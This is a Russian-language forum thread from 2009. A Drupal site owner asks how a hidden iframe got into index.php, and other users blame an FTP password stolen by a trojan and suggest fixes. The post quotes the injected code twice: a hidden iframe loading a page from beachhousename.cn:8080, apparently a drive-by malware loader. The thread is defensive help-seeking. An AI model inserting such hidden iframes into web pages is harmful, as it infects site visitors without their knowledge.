28 июня 2009 в 16:02
У меня последняя версия 6.12 нашел сегодня iframe в index.php
...
}
elseif (isset($return)) {
// Print any value (including an empty string) except NULL or undefined:
print theme('page',
<iframe src="http://beachhousename.cn:8080/index.php" width=149 height=155 style="visibility: hidden"></iframe>
}
elseif (isset($return)) {
// Print any value (including an empty string) except NULL or undefined:
print theme('page',
<iframe src="http://beachhousename.cn:8080/index.php" width=149 height=155 style="visibility: hidden"></iframe>
Откуда? Как?
Комментарии
Взломали ваш хостинг!!!
Меняйте пароли, не храните их в фтп-менеджере, проверьте антивирусом сайт и свой компьютер, сообщите хостеру - о том, что их хостинг взломали (и, возможно, готовьтесь переезжать на другой).
К самому Друпалу это не имеет никакого отношения.
Можно еще индекс.пхп от записи закрять - права 444.
Хостинг не взломан, как выше сказали. Кто-то стырил пароль из ftp-клиента. У меня такое же было. Просто пароли нигде не сохраняйте) на досуге можете посмотреть http://www.malwaredomainlist.com/update.php
Как они украли пароль? Проверил и Nod32 и Касперским, нет у меня вирусов. Пользуюсь FileZilla... Использую быстрое подключение...
И еще Opera вроде пароли помнит...
думаете что nod и каспер знает про все, все трояны?
это байан. Пароли никто у вас не тырит, алгоритм прост - вы заражаетесь вирусом, он читает ваши сохранённые пароли от фтп (и не только от фтп кстати) и приконнектившись к серверу под вашей учеткой заражает индексные скрипты. А потом через ваш сайт заражается другой веб-мастер...
да - это не человек напрямую тырит, а робот. но на drupal если в index.php вставлен подобный фрейм сайт вообще не открывается.
Придётся полностью перейти на никс...
каким браузером пользуетесь? акробат ридер стоит?
Opera 9.64, акробата нет
инструменты -> настройки -> содержимое -> настроить стили -> снять галку "включить inline-фреймы". Далее, если кое какие сайты с фреймами не будут отображаться нормально (например гмейл), можно через настройки для сайта включить фреймы персонально для него.
И не устанавливать акробат ридер , замена если надо - foxit-reader.
Человек уже сказал про файлзиллу и быстрое подключение, на этом тему можно закрывать
Если хотите разобраться, отдайте компьютер специалистам.
Нод и Касперский ничего не гарантируют, если система ежедневно не обновляется. Если вы постоянно сидите под рутом. Если от имени рута запустили какой-нибудь кейген. И еще много, много если.
И зачем? То что он отключит фреймы не значит, что они пропадут из index.php
Обухов Никита Уже установил на ноутбуке Ubuntu и для работы пользуюсь им. Так, что проблема решена.